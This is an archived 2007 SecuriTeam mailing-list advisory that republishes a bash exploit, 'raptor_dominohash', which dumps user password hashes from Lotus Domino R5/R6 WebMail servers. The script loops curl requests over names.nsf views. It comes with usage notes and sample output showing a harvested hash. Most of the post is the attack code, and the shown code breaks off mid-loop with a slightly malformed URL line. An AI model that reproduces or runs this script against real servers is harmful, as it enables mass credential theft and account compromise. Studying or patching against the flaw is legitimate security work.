

# [EXPL] Lotus Domino Webmail Password Hash Dumper (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-02/msg00052.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 15 Feb 2007 19:20:01 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Lotus Domino Webmail Password Hash Dumper (Exploit)

---

## SUMMARY

Lotus Domino WebMail, with "Generate HTML for all fields" enabled stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as password hash.

## DETAILS

Vulnerable Systems:

\* Lotus Domino R5 and R6 WebMail

Exploit:

```
#!/bin/bash
```

```
#
```

```
# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $
```

```
#
```

```
# raptor_dominohash – Lotus Domino R5/R6 HTTPPassword dump
```

```
# Copyright (c) 2007 Marco Ivaldi <raptor@xxxxxxxxxxxxxxxx>
```

```
#
```

```
# Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields"
```

## [EXPL] Lotus Domino Webmail Password Hash Dumper (Exploit)

```
enabled,
# stores sensitive data from names.nsf in hidden form fields, which allows
# remote attackers to read the HTML source to obtain sensitive information
such
# as (1) the password hash in the HTTPPassword field, (2) the password
change
# date in the HTTPPasswordChangeDate field, (3) the client platform in the
# ClntPltfrm field, (4) the client machine name in the ClntMachine field,
and
# (5) the client Lotus Domino release in the ClntBld field, a different
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
#
# According to testing, it's possible to dump all HTTPPassword hashes
using the
# $defaultview view instead of $users. This saves a considerable amount of
time.
#
# The code may require some changes to properly work with your
configuration.
#
# See also:
# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml
#
# Usage:
# $ ./raptor_dominohash 192.168.0.202
# [...]
# Extracting the view entries...
# Done! 656 unique entries have been found.
# Now ready to dump password hashes...
# [...]
#
# \[http://192.168.0.202/names.nsf/\$defaultview/00DA2289CC118A854925715A000611A3\]
# FirstName: Foo
# LastName: Bar
# ShortName: fbar
# HTTPPassword: (355E98E7C7B59BD810ED845AD0FD2FC4)
# [...]
#
# Vulnerable platforms:
# Lotus Domino R6 Webmail [tested]
# Lotus Domino R5 Webmail [untested]
# Lotus Domino R4 Webmail? [untested]
#

# Some vars
i=1
tmp1=dominohash1.tmp
tmp2=dominohash2.tmp

# Command line
host=$1
```

## [EXPL] Lotus Domino Webmail Password Hash Dumper (Exploit)

```
# Local fuctions
function header() {
echo ""
echo "raptor_dominohash – Lotus Domino R5/R6 HTTPPassword dump"
echo "Copyright (c) 2007 Marco Ivaldi <raptor@xxxxxxxxxxxxxxxx>"
echo ""
}

function footer() {
echo ""
exit 0
}

function usage() {
header
echo "usage : ./raptor_dominohash <host>"
echo "example: ./raptor_dominohash 192.168.0.202"
footer
}

function notfound() {
header
echo "error : curl not found"
footer
}

# Check if curl is there
curl=`which curl 2>/dev/null`
if [ $? -ne 0 ]; then
notfound
fi

# Input control
if [ -z "$1" ]; then
usage
fi

# Remove temporary files
rm -f $tmp1
rm -f $tmp2

header

# Extract the view entries
echo "Extracting the view entries..."
while :
do
curl
"http://{host}/names.nsf/$defaultview?Readviewentries&Start=${i}"
2>/dev/null | grep unid >> $tmp1

```



=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.